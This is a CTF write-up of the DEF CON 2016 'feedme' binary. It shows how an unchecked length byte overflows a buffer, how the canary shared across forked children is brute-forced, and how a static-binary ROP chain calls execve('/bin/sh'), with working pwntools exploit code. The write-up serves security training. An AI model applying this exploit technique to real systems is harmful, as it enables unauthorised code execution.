Gravitational plate of three masses and a slashed discABC0Static engraved plate. Three-dimensional view is unavailable or reduced motion is requested.

← back to fieldarticle

articleSep 18, 2020

DEF CON 2016 feedme Vulnerability Analysis

Writeup for DEF CON 2016 feedme: fork-stable canary brute-force across child processes, then a static-binary ROP chain to read /bin/sh into .bss and execve.

Vulnerability analysis

Binary overview

./0.png
./0.png

Protections observed:

  • stripped
  • statically linked
  • 32 bit

Mitigations

  • No RELRO
  • Canary found
  • NX enabled
  • PIE disabled

Binary analysis

./1.png
./1.png

Logic check 1

  • Feeding 0x41 bytes of A trips SSP, so a canary is present.

./2.png
./2.png

Logic check 2

  • Feeding only 0x40 bytes of A does not trip SSP. That suggests the first input byte is the length of the following payload.

./3.png
./3.png

System calls

  • While looking at syscall coverage, the binary sends SIGCHLD, prints Child exit via write, then creates another child. So the program loops with fork.

main

./4.png
./4.png

 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(14, sub_8048E24);
  alarm(0x96u);
  setvbuf((unsigned int *)stdout, 0, 2, 0);
  sub_804F820(off_80EA4BC);
  sub_80490B0();
  return 0;
}
  • main does basic setup with alarm, ssignal, and setvbuf, then calls sub_80490B0.

sub_80490B0

  • Call this function solve.

./5.png
./5.png

  • It loops 0x31F times and runs the inner logic each pass.
  • Inside, sub_806CC70 uses __lib_fork, so each iteration creates a child.

./6.png
./6.png

fork path

sub_804F700 [feedme]

  • Call sub_804F700 feedme.

./7.png
./7.png

  • v3 and v4 live in .bss, 0x20 apart.

./8.png
./8.png

Offset between them

  • Treat v4 as the canary: the code plants the value from gs:0x14 between the stack buffer and the frame pointer, then checks it on exit.

./9.png
./9.png

Canary check

sub_8048E42 [read_byte]

./10.png
./10.png

  • Reads one byte into local v1 via read.
  • v2 is the size argument (1); on failure the process exits.
  • The return value is that one user-supplied byte.

sub_8048E7E [next_read]

./11.png
./11.png

  • Takes the read_byte result as a2 and global v3 as a1.
  • Uses that byte as a length and fills the v3 buffer with that many bytes from read.
  • There is no check that the length stays within the 32-byte buffer, so you can send up to 255 bytes — enough to overflow — but SSP blocks a naive overwrite.

Canary analysis

./12.png
./12.png

  • Under gdb you can watch the canary come from gs:0x14 onto the stack.
  • On 32-bit the canary is four bytes; the top byte is always NUL.
  • Global v3 and the canary both sit in .bss, 32 bytes apart, so an overflow can touch the canary one byte at a time. Brute-force the lower three bytes.

Fork analysis

./13.png
./13.png

  • The outer loop runs 0x31F times: fork a child, finish the inner logic, kill it, fork again.

./14.png
./14.png

  • fork clones the parent's memory, including the canary.
  • Parent and child diverge after the call, but the canary value is the same copy. That makes per-byte brute-force across children viable.

Exploit path

Attack

Canary brute-force

canary = '\x00'
buf = p8(0x90)*0x20
 
def get_canary():
    global canary
    for _ in range(3):
        log.info("byte_%d"%_)
        for i in range(0xff):
            p.recvuntil("FEED ME!\n")
            len_byte = len(buf) + len(canary) + 1
            p.send(chr(len_byte)+buf + canary + chr(i))
            res = p.recvuntil('Child exit.\n')
            if 'YUM' in res:
                canary += chr(i)
                log.info("canary: "+canary.encode('hex'))
                break
    print hexdump(canary)
  • The NUL high byte is known. Guess the lower three bytes, 0x000xFF each. If feedme returns cleanly and prints YUM, that byte matched; otherwise keep looping.

./15.png
./15.png

Leaked canary

ROP scenario

  • NX is on, so you cannot run shellcode from the buffer. Overflow into the return address with a ROP chain and steer EIP that way.
  • The binary is statically linked, so you cannot pull helpers from a shared libc. Drive syscalls through ROP instead.

Syscalls needed for ROP

./16.png
./16.png

  • There is no /bin/sh string in the binary. Use ROP to read into the start of .bss, then execve that path.

ROP gadgets

  • Find gadgets with ROPgadget.

./17.png
./17.png

ROP chain

read(0, &.bss, length(/bin/sh\x00)) 
 
execve(.bss, 0, 0)
#ROP
pppr = 0x806f370
peax = 0x80bb496
syscall = 0x806fa20
    
# read
rop = p32(peax)
rop += p32(0x3)
rop += p32(pppr)
rop += p32(len("/bin/sh\x00"))
rop += p32(e.bss())
rop += p32(0x0) 
rop += p32(syscall)
 
# execve    
rop+= p32(peax)
rop+= p32(0xb)
rop+= p32(pppr)
rop+= p32(0x0)
rop+= p32(0x0)
rop+= p32(e.bss())
rop+= p32(syscall)

Exploit

payload = p8(0x41)*0x20 + canary + p8(0x41)*0xC + rop
    
p.send(chr(len(payload))+payload)
p.send("/bin/sh\x00")
p.interactive()

./18.png
./18.png

  • The ROP chain yields a shell.

related

  1. Sep 18, 2020/articleDEF CON 2016 xkcd writeup
  2. Sep 18, 2020/articleSSTF 2020 t_express Writeup
  3. Aug 16, 2020/articleHITCON 2017 Sakura writeup

graphfeed